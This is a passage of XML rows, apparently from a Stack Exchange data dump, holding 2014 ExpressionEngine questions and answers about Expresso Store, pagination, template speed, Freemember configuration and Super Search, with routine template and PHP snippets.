OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2014-02-26T07:39:41.040" LastActivityDate="2014-02-26T07:39:41.040" Title="Parse error: syntax error, unexpected '='?" Tags="|ee2|error|php-errors|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19600" PostTypeId="1" CreationDate="2014-02-20T11:55:49.503" Score="3" ViewCount="34" Body="&lt;p&gt;I'm using Expresso Store v1 and my client recently added some downloadable products. We've set the &lt;a href=&quot;https://exp-resso.com/docs/v1/download_tag.html#expire&quot; rel=&quot;nofollow&quot;&gt;download expiry&lt;/a&gt; on these products to 48 hours and we've now made changes to the order confirmation page to encourage customers to download their purchases right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, is there a simple way to produce a 'download expired' notice once the download has expired? Currently the download button just vanishes which has led to a few confused customers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I was hoping their might be a conditional '{if expired}' or a parameter that could be used to set a message.&lt;/p&gt;&#xA;" OwnerUserId="1019" LastActivityDate="2014-02-21T01:05:29.927" Title="Expresso Store Download expiry notice conditional?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19602" PostTypeId="2" ParentId="19598" CreationDate="2014-02-20T14:19:34.603" Score="0" Body="&lt;p&gt;Double check your listing channel setting and that they're using the right template. If you update that, you'll need to resave the listing entries to use the new template. Make sure no template groups match your URL segments as it can confuse EE. Also, you should use {page_url} inside your channel tags, the structure variables are for the current page and not to be used inside like that.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-02-20T14:19:34.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19604" PostTypeId="2" ParentId="19583" CreationDate="2014-02-20T15:24:10.733" Score="0" Body="&lt;p&gt;I figured out the answer to my own question. I was using the wrong placement and combination of &quot; and '. What works for me is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if event_multi_day AND &quot;{event_start_date format='%M'}&quot; == &quot;{event_end_date format='%M'}&quot;}&#xA;{event_start_date format=&quot;%M %j&quot;}-{event_end_date format=&quot;%j&quot;}&#xA;{if:elseif &quot;{event_start_date format='%M'}&quot; != &quot;{event_end_date format='%M'}&quot;}&#xA;{event_start_date format=&quot;%M %j&quot;}-{event_end_date format=&quot;%M %j&quot;}&#xA;{if:else}&#xA;{event_start_date format=&quot;%M %j&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks to those who responded.&lt;/p&gt;&#xA;" OwnerUserId="1512" LastActivityDate="2014-02-20T15:24:10.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19605" PostTypeId="1" AcceptedAnswerId="19662" CreationDate="2014-02-20T15:48:38.127" Score="1" ViewCount="99" Body="&lt;p&gt;This seems so basic, but how would I make all of my URL's case insensitive? On my dev, everything worked fine, but on production, images are broken, resources are 404, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could do something like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteMap tolowercase int:tolower &#xA;RewriteRule ^(.*)$ ${tolowercase:$1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't want to need to rename all of my files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* EDIT *&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just renamed my files since I couldn't find a solution yet. The odd thing is that I even had to modify an add-on: acc.theeditorcodemirror.php line 74&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;select * from exp_TECM_settings where member_id = '&quot;.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id')).&quot;'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;had to be changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;select * from exp_tecm_settings where member_id = '&quot;.$this-&amp;gt;EE-&amp;gt;db-&amp;gt;escape_str($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id')).&quot;'&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2014-02-20T17:50:03.453" LastActivityDate="2014-02-21T16:30:52.017" Title="Resource files are case sensitive on production server?" Tags="|ee2|url|htaccess|" AnswerCount="1" CommentCount="4" ClosedDate="2014-04-30T01:34:55.063" ContentLicense="CC BY-SA 3.0" />
  <row Id="19606" PostTypeId="1" CreationDate="2014-02-20T15:53:34.340" Score="1" ViewCount="56" Body="&lt;p&gt;My question is.. &#xA;I have a calendar:event channel with a custom Playa field &#xA;In the related playa field i have Tagger.. How can i filter the event i show using the tags!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have this --&gt;&#xA;{exp:calendar:cal calendar_id=&quot;9&quot; date_range_start=&quot;today @ now&quot; date_range_end=&quot;tomorrow @ 2359&quot; dynamic=&quot;off&quot; pad_short_weeks=&quot;n&quot;}&lt;li&gt;{event_start_date format=&quot;%d-%Hh%i&quot;}{calendar_serie var_prefix=&quot;serieX&quot;}{serieX:title}{/calendar_serie}&lt;/li&gt;&#xA; {/exp:calendar:cal}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then i was able to filter the &quot;serie&quot; using this &#xA; {exp:tagger:entries tag=&quot;horaire_accueil&quot; limit=&quot;4&quot;}&#xA;&lt;li&gt;{tagger:entry_title}&lt;/li&gt;&#xA;    {/exp:tagger:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i &quot;merge' these 2!?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2014-02-20T15:53:34.340" Title="Solspace Calendar -&gt; Playa -&gt; Tagger" Tags="|solspace|calendar|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19607" PostTypeId="2" ParentId="19599" CreationDate="2014-02-20T15:57:15.723" Score="5" Body="&lt;p&gt;This one's not worth tracking down the root of to be honest -- this is most definitely not what embeds are for, and I'm not surprised you're hitting an error when trying to load this giant hunk of PHP as an embed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is to work &lt;em&gt;with&lt;/em&gt; ExpressionEngine, not &lt;em&gt;against&lt;/em&gt; it by cramming dozens of lines of PHP into a template. I'd look at moving your custom code into extensions and plugins/modules as required. Start by &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot;&gt;reviewing EE's developer documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-02-20T16:04:15.690" LastActivityDate="2014-02-20T16:04:15.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19608" PostTypeId="2" ParentId="19588" CreationDate="2014-02-20T16:00:59.580" Score="1" Body="&lt;p&gt;You're using an outdated version of the &lt;a href=&quot;http://www.devdemon.com/forms/&quot; rel=&quot;nofollow&quot;&gt;DevDemon Forms&lt;/a&gt; add-on which doesn't support the version of EE you're running - upgrade to the most current version (3.4.6).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The error is that the &lt;code&gt;ip_address&lt;/code&gt; column was removed from the &lt;code&gt;exp_security_hashes&lt;/code&gt; table a few versions back.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-20T16:00:59.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19609" PostTypeId="2" ParentId="19596" CreationDate="2014-02-20T16:03:14.887" Score="2" Body="&lt;p&gt;Just use the &lt;code&gt;width&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:single src=&quot;//mysite.s3.amazonaws.com/WebStatic/Images/Static/109/slide-1.jpg&quot; width=&quot;1280&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/parameters&quot; rel=&quot;nofollow&quot;&gt;See all the available parameters for CE Image.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-20T16:03:14.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19610" PostTypeId="1" AcceptedAnswerId="19611" CreationDate="2014-02-20T16:23:52.947" Score="0" ViewCount="93" Body="&lt;p&gt;I have a question that pertains to Expresso. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a client that wants e-commerce and a new website. We'e already sold them on the importance of a CMS for the job they want done and naturally we also recommended Expresso. But it gets a bit complicated from this point.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have an AS400 Mainframe that they use to keep all of their pertinent data, like inventory. They have the know how and expertise to expose this data to us, but the big question is &quot;how do we get it into Expresso?&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's the data import plugin here: &lt;a href=&quot;http://devot-ee.com/add-ons/data-import&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/data-import&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure it can specifically meet our needs. Does anyone have a recommendation for how to achieve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tdlr; takeaway: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inventory data from AS400 mainframe must be injected into Expresso. &#xA;Client have resources on hand to expose data in whatever way we want (xml file, sql, whatever).&#xA;How do we get it into Expresso?&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2014-02-20T17:28:55.937" Title="Expresso Store: Routinely import inventory from third party source" Tags="|ecommerce|expresso|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19611" PostTypeId="2" ParentId="19610" CreationDate="2014-02-20T17:28:55.937" Score="2" Body="&lt;p&gt;I've been using &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; for the same thing. As of the current version, only Store 1 is supported, however, it's fairly easy to modify the Store datatype to support Store 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you set up the import in DataGrab, it provides you a URL which you can hit with cron to regularly import updates.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-20T17:28:55.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19612" PostTypeId="2" ParentId="19576" CreationDate="2014-02-20T17:38:43.143" Score="1" Body="&lt;p&gt;You'll need to separate the conditional from the variable pair, as they parse as two completely different entities in EE. There's no way to combine them into one tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is fairly simple to do. Try something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if courses:total_rows &amp;gt; 0 }&#xA;    {courses search:course_type=&quot;Foundation&quot; search:degree_type=&quot;Masters&quot; search:applies_to = &quot;&amp;lt;?php echo $degreeName ?&amp;gt;&quot; }&#xA;        Some Code&#xA;    {/courses}&#xA;{if:else}&#xA;    Some Other Code&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-02-20T17:38:43.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19613" PostTypeId="2" ParentId="19579" CreationDate="2014-02-20T17:57:52.223" Score="1" Body="&lt;p&gt;You shouldn't have to worry about location of the ee channel form css in a default ee install. The {path=css/_ee_channel_form_css} variable will automatically be replaced when the template is parsed and point to the correct css. Just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{path=css/_ee_channel_form_css}&quot; type=&quot;text/css&quot; rel=&quot;stylesheet&quot; media=&quot;screen&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need to you can always override parts of it with inline css, other css loaded after, or through javascript.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-02-20T17:57:52.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19614" PostTypeId="1" CreationDate="2014-02-20T18:10:05.370" Score="1" ViewCount="183" Body="&lt;p&gt;I am new to this so apologies to the noob question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writing my first EE extension, for Freeform Pro. I have the basic shell working for freeform_module_validate_begin and have been able to Enable the extension and verify that it works when a form is being submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am stumped by is how to find my form field values so I can perform custom validation. For example, if I have a form text field named 'panelist_name', how can I find that value when accessing the hook freeform_module_validate_begin so I can check it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried standard _POST and EE input post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this is a very simple issue, but I cannot find the answer so far in the docs, or in this forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;K.&lt;/p&gt;&#xA;" OwnerUserId="2775" LastActivityDate="2014-02-20T18:10:05.370" Title="Freeform Pro - Writing an extension - How do I get form field values for validation?" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19615" PostTypeId="1" CreationDate="2014-02-20T18:27:18.390" Score="1" ViewCount="58" Body="&lt;p&gt;In a wine shop article titles are very often identical. That makes it difficult for my client to choose the right product to be on a sales list. This screenshot should say it all:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DxVd3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to change that? Something like this would be perfect in my case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;custom_field-title (the custom field is the wine ID in my clients workflow, for example 1234. That's not the ExpressionEngine entry_id. That would show something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1234-Chardonnay&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If custom_field-title is not possible: article_id-title would be already some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2528" LastActivityDate="2014-02-21T05:10:57.633" Title="Match entries in sales: How can i add a custom field to the article title?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19617" PostTypeId="1" CreationDate="2014-02-20T19:28:43.390" Score="4" ViewCount="210" Body="&lt;p&gt;I installed Freemember as an addon module for Expression Engine. I'm still getting this error when I try to set up registration form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;In order to use the encryption class requires that you set an encryption key in your config file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7.3 and PHP Version 5.3.2 . I have added this to my config.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['encryption_key'] = &quot;l49YGsxdrq3VcNJdxTWQcaKKhBKREfNb7nbGSxOxBPMnHumuzCVkwa9xoTFHkBq&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So why I am getting this error message?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks you,&#xA;randy&lt;/p&gt;&#xA;" OwnerUserId="2777" LastEditorUserId="150" LastEditDate="2014-02-21T00:46:43.240" LastActivityDate="2015-04-08T20:39:31.433" Title="Freemember error message" Tags="|freemember|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19618" PostTypeId="1" CreationDate="2014-02-20T19:55:08.803" Score="1" ViewCount="553" Body="&lt;p&gt;I am seeing several errors in my site logs regarding a the sessions.php file. What is this and how can I fix it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my EE details:&#xA;ExpressionEngine v2.5.2 - Build Date: 20120606 - © Copyright 2003 - 2014 EllisLab, Inc.&#xA;Script executed in 0.0993 seconds - 26 SQL queries used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here are some example errors&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;16  [error]  PHP Fatal error:  Call to a member function num_rows() on a non-object in /var/www/vhosts/cutandpaste.com/system167/expressionengine/libraries/Session.php on line 790&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;107  [error]  PHP Fatal error:  Maximum execution time of 90 seconds exceeded in /var/www/vhosts/cutandpaste.com/system167/codeigniter/system/core/Loader.php on line 846&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="899" LastActivityDate="2014-02-20T19:55:08.803" Title="Database errors in Sessions.php" Tags="|php-errors|database-error|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19621" PostTypeId="1" CreationDate="2014-02-20T21:48:36.107" Score="3" ViewCount="988" Body="&lt;p&gt;I have a page template that runs exceptionally slow (average 20 seconds to load). These pages are event pages and require certain information to be shown pre-event vs. post event. There are also competitors and judges, along with their lightboxed profiles. There are sponsors, comments, and additional information section. Because of this, within my code I know that there are a ton of conditionals. This is also an image heavy site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a standard number of conditionals that won't overload my page? How can I get around using so many? How do you successfully code an ExpressionEngine page with this much content? Looking for any advice - I've been unsuccessful in trying to speed up this page for a very long time now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on ExpressionEngine v2.5.2, and here is my template code: &lt;a href=&quot;http://codeviewer.org/view/code:3ca2&quot; rel=&quot;nofollow&quot;&gt;http://codeviewer.org/view/code:3ca2&lt;/a&gt;. I am using plugins like Pixel&amp;amp;Tonic's Matrix and ED ImageResizer.&lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="899" LastEditDate="2014-02-21T16:33:43.427" LastActivityDate="2014-02-25T20:44:37.293" Title="Page Load too Slow" Tags="|conditionals|channel-images|speed|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19622" PostTypeId="1" CreationDate="2014-02-20T22:11:40.780" Score="0" ViewCount="1239" Body="&lt;p&gt;I'm having issues getting pagination to work, using the same settings I usually do but paging doesn't change the content / listed entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stripped down my template for testing and currently have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries &#xA;        channel=&quot;blog_entries&quot; &#xA;        limit=&quot;12&quot; &#xA;        orderby=&quot;date&quot; &#xA;        sort=&quot;desc&quot; &#xA;        paginate=&quot;top&quot; &#xA;        paginate_base=&quot;blog/&quot; &#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;&#xA;        &amp;lt;article&amp;gt;&#xA;            &amp;lt;a href=&quot;{page_url}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;            &amp;lt;span class=&quot;post-date&quot;&amp;gt;{entry_date format=&quot;%m.%d.%y&quot;}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;&#xA;        {paginate}&amp;lt;p class=&quot;pagination load-more&quot;&amp;gt;{pagination_links}&amp;lt;/p&amp;gt;{/paginate}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried disabling extensions to test if any were interfering but then I get a 404 on pagination URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this part is really odd, but one minute it's displaying posts by date in descending order, and the latest post shows first and then I'll refresh as I'm testing, and it starts from a different date, as if it's lost a bunch of posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is correct:&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/k0ZMt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is what I randomly get:&lt;br&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZfxeU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Note that yes, these are both the same page, page 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE v2.7.3 Build 20131210&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addons I have installed:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dbKfe.png&quot; alt=&quot;Addons Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be going on here? Would any of the extensions I have installed be causing this issue?&lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2014-02-21T02:13:49.743" Title="Standard pagination not working" Tags="|structure|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19623" PostTypeId="2" ParentId="19621" CreationDate="2014-02-20T22:53:52.860" Score="3" Body="&lt;p&gt;If else statements are killing! They slowdown your site because all code is executed, also the code that doesn't match the if condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use switchee for if else statements and your page will load much faster! Link: &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/switchee&lt;/a&gt;. You will be amazed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Description of the plugin&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With EEs if/else advanced conditionals, each condition is parsed before being removed at the end of the template parsing process. This means if you wrap if/else tags around lots of other tags then your template will be running many unnecessary queries and functions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Using Switchee instead you can ensure that unmatched conditions are removed from the template before they can be parsed. This can make your template significantly more efficient and your pages will render more quickly.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2014-02-20T22:53:52.860" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19624" PostTypeId="1" AcceptedAnswerId="19646" CreationDate="2014-02-20T23:50:11.300" Score="3" ViewCount="92" Body="&lt;p&gt;I want to group entries by 8. The last div demonstrates that there might be an exact amount of entries that are divisible by 8.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item-container active&quot;&amp;gt;&#xA; item 1&#xA; item 2&#xA; item 3..&#xA; item 8&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;item-container&quot;&amp;gt;&#xA; item 9...&#xA; item 16&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;item-container&quot;&amp;gt;&#xA; item 17&#xA; item 18&#xA; item 19&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to do it this way so I can use a jquery slide in effect, when you click a button, it would slide/fade-in the next div of items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to achieve this thanks to the math count % == 0, thanks guys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have another question, I need to output the appropriate carousel list links&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ol class=&quot;carousel-indicators&quot;&amp;gt;&#xA;        &amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;0&quot; class=&quot;active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {exp:channel:entries channel=&quot;recipes&quot;}&#xA;        {if count % 8 == 0}&#xA;            &amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;{if count % 8 == 0}{count / 8}{/if}&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ol&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see what I am trying to do with {count / 8} so the html will render like, obviously it is not working, but you can see what I am trying to do, my goal html output would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;0&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;1&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;2&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;3&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;4&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;5&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought maybe I could set a dynamic variable with doing something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count % 8 == 0}{dynamic_variable == count / 8}{/if}&#xA;&#xA;&amp;lt;li data-target=&quot;#myaccountCarousel&quot; data-slide-to=&quot;{dynamic_variable}&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I could use stash to store the variable but I don't know how I would get count / 8 math to work outside of the conditional since the EE docs say the math only works within a conditional, any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2014-02-21T16:02:34.643" LastActivityDate="2014-02-21T16:02:34.643" Title="group items from channel, by 8" Tags="|channel|entries|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19625" PostTypeId="1" CreationDate="2014-02-20T23:56:37.343" Score="1" ViewCount="57" Body="&lt;p&gt;I'm having an issue very similar to Ryan Masuga as seen here: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/3520/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/3520/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.7.3 and Super Search 2.1.3. In the original post I saw a mention to pagination, I wonder if that might be causing it? I'm using AB Pagination 1.6.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my site: &lt;a href=&quot;http://llumcmurrieta.org/&quot; rel=&quot;nofollow&quot;&gt;http://llumcmurrieta.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a search for POB seams to spin forever and eventually timeout. Whereas a search for &quot;POB&quot; (with the quotes) works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my results block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    site=&quot;internet&quot;&#xA;    channel=&quot;pages|service_lines|bucket_services|bucket_treatments|bucket_conditions|news|pob_directory&quot;&#xA;    exclude_entry_ids=&quot;618|935|871&quot;&#xA;    highlight_keywords=&quot;strong&quot;&#xA;    smart_excerpt=&quot;yes&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    limit=&quot;10&quot;&#xA;    relevance_proximity=&quot;yes&quot;&#xA;    search_words_within_words=&quot;no&quot;&#xA;    fuzzy_weighting=&quot;yes&quot;&#xA;    relevance=&quot;title=1+services_tags=5+ct_tags=5+page_keywords=5+services_introduction=2+ct_about=1+body=1+count_words_within_words&quot;&#xA;    {!-- services_about and ct_sub_sections cause an error with super search -- see discussion: http://www.solspace.com/forums/viewthread/17419/ --}&#xA;}&#xA;  {if count==&quot;1&quot;}&amp;lt;ul class=&quot;global-search search-results main-results&quot;&amp;gt;{/if}&#xA;&#xA;  {embed=&quot;search/_result&quot; id=&quot;{entry_id}&quot; excerpt=&quot;{excerpt}&quot; relevance=&quot;{relevance_count}&quot;}&#xA;&#xA;  {if count==total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;  {if super_search_no_results}&#xA;      &amp;lt;p&amp;gt;Sorry, we couldn't find anything to match what you are looking for.&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;  {paginate}&#xA;  &amp;lt;style&amp;gt;.global-search.search-results.main-results {padding-top:61px !important;padding-bottom:60px !important;}&amp;lt;/style&amp;gt;&#xA;  &amp;lt;div id=&quot;top-pagination&quot; class=&quot;pagination-wrap pagination-top&quot;&amp;gt;&#xA;    &amp;lt;span class=&quot;count&quot;&amp;gt;&#xA;      Showing &amp;lt;strong&amp;gt;{abp_entry_from}&amp;lt;/strong&amp;gt;-&amp;lt;strong&amp;gt;{abp_entry_to}&amp;lt;/strong&amp;gt; results of {abp_total_entries} total&#xA;    &amp;lt;/span&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;bottom-pagination&quot; class=&quot;pagination-wrap pagination-bottom&quot;&amp;gt;&#xA;    &amp;lt;nav class=&quot;pagination&quot;&amp;gt;&#xA;&#xA;      {if abp_has_previous}&#xA;      